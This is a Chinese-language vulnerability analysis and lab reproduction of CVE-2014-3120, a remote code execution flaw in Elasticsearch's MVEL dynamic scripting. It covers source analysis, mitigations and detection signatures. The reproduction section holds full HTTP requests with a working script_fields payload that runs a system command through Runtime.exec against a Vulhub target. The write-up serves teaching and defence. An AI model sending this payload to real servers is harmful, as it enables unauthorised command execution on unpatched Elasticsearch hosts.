CVE-2014-3120源码分析与漏洞复现(ElasticSearch 远程代码执行)
漏洞概述
漏洞名称:ElasticSearch 动态脚本任意代码执行漏洞
CVE 编号:CVE-2014-3120
CVSS 评分:6.8(中危)
影响版本:ElasticSearch < 1.2.0(1.1.x及更早版本)
修复版本:≥ 1.2.0(默认禁用动态脚本)
漏洞类型:远程代码执行(RCE)
根本原因:
ElasticSearch 默认启用动态脚本功能(使用 MVEL 脚本引擎),但未对脚本内容实施沙盒限制,导致攻击者可构造恶意脚本执行任意 Java 代码。
漏洞原理与源码分析
1. 漏洞触发条件
- 动态脚本功能启用:默认配置允许通过 HTTP API 执行脚本(
script_fields
参数)。 - MVEL 引擎无沙盒防护:脚本引擎未限制危险操作(如
java.lang.Runtime
调用)。
2. 关键源码定位
(1)脚本执行入口:SearchService#parseSource
代码路径:org.elasticsearch.action.search.SearchService
private void parseSource(SearchContext context, BytesReference source) throws SearchParseException { if (source == null || source.length() == 0) { return; } XContentParser parser = null; try { parser = XContentFactory.xContent(source).createParser(source); XContentParser.Token token; while ((token = parser.nextToken()) != XContentParser.Token.END_OBJECT) { if (token == XContentParser.Token.FIELD_NAME) { String fieldName = parser.currentName(); parser.nextToken(); SearchParseElement element = (SearchParseElement)this.elementParsers.get(fieldName); if (element == null) { throw new SearchParseException(context, \"No parser for element [\" + fieldName + \"]\"); } element.parse(parser, context); // 关键漏洞点:执行字段解析器 } else if (token == null) { break; } } } catch (Throwable e) { String sSource = \"_na_\"; try { sSource = XContentHelper.convertToJson(source, false); } catch (Throwable e1) {} throw new SearchParseException(context, \"Failed to parse source [\" + sSource + \"]\", e); } finally { if (parser != null) { parser.close(); } } }
漏洞点:未对 script_fields
内容做安全过滤,直接传递给 MVEL 引擎执行。
(2)MVEL 脚本引擎:MvelScriptEngine#execute
代码路径:org.elasticsearch.script.mvel.MvelScriptEngine
public Object execute(Object compiledScript, Map vars) { // 直接执行未沙盒化的MVEL表达式 return MVEL.executeExpression(compiledScript, vars); }
漏洞机制:
- MVEL 引擎支持直接调用 Java 标准库(如
java.lang.Runtime
)。 - 攻击者可通过脚本构造任意 Java 代码:
\"script\": \"java.lang.Runtime.getRuntime().exec(\\\"id\\\")\"
(3)请求处理流程
#mermaid-svg-IN6rlAz1jLXxf1GA {font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .error-icon{fill:#552222;}#mermaid-svg-IN6rlAz1jLXxf1GA .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-IN6rlAz1jLXxf1GA .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-IN6rlAz1jLXxf1GA .marker{fill:#333333;stroke:#333333;}#mermaid-svg-IN6rlAz1jLXxf1GA .marker.cross{stroke:#333333;}#mermaid-svg-IN6rlAz1jLXxf1GA svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-IN6rlAz1jLXxf1GA .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-IN6rlAz1jLXxf1GA text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .actor-line{stroke:grey;}#mermaid-svg-IN6rlAz1jLXxf1GA .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .sequenceNumber{fill:white;}#mermaid-svg-IN6rlAz1jLXxf1GA #sequencenumber{fill:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .messageText{fill:#333;stroke:#333;}#mermaid-svg-IN6rlAz1jLXxf1GA .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-IN6rlAz1jLXxf1GA .labelText,#mermaid-svg-IN6rlAz1jLXxf1GA .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .loopText,#mermaid-svg-IN6rlAz1jLXxf1GA .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-IN6rlAz1jLXxf1GA .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-IN6rlAz1jLXxf1GA .noteText,#mermaid-svg-IN6rlAz1jLXxf1GA .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-IN6rlAz1jLXxf1GA .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-IN6rlAz1jLXxf1GA .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-IN6rlAz1jLXxf1GA .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-IN6rlAz1jLXxf1GA .actorPopupMenu{position:absolute;}#mermaid-svg-IN6rlAz1jLXxf1GA .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-IN6rlAz1jLXxf1GA .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-IN6rlAz1jLXxf1GA .actor-man circle,#mermaid-svg-IN6rlAz1jLXxf1GA line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-IN6rlAz1jLXxf1GA :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;} 攻击者 Search API SearchService MvelScriptEngine MVEL引擎 JVM 发送含恶意脚本的_search请求 解析JSON 传递script_fields 执行未沙盒化代码 调用Runtime.exec() 命令执行结果回显 攻击者 Search API SearchService MvelScriptEngine MVEL引擎 JVM
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:9200,确认服务正常运行
攻击步骤
首先,创建一个文档:
POST /website/blog/ HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 25{ \"name\": \"vulhub\"}
然后,发送包含恶意MVEL
脚本的请求来执行任意命令:
POST /_search?pretty HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 343{ \"size\": 1, \"query\": { \"filtered\": { \"query\": { \"match_all\": { } } } }, \"script_fields\": { \"command\": { \"script\": \"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"id\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\" } }}
影响范围与修复方案
1. 受影响版本
2. 官方修复方案
- 禁用动态脚本:在
elasticsearch.yml
中添加:script.disable_dynamic: true
- 升级至 1.2.0+:默认关闭动态脚本,引入 Groovy 沙盒(需手动开启)。
3. 临时缓解措施
plugins/lang-mvel/
目录漏洞启示
- 默认安全原则:高危功能(如动态脚本)不应默认开启。
- 沙盒必要性:脚本引擎必须实现严格的沙盒机制(如后续 CVE-2015-1427 因 Groovy 沙盒绕过再次导致 RCE)。
- 纵深防御:结合配置加固、网络隔离、权限控制降低风险。
参考链接
- ElasticSearch 官方通告
- CVE-2014-3120 技术分析(阿里云)
附:漏洞请求特征表
检测项 恶意请求特征 请求路径 POST /_search?pretty
关键参数 script_fields
含java.lang.Runtime
调用Content-Type application/json
攻击指纹 exec(
,Runtime.getRuntime()
,Scanner(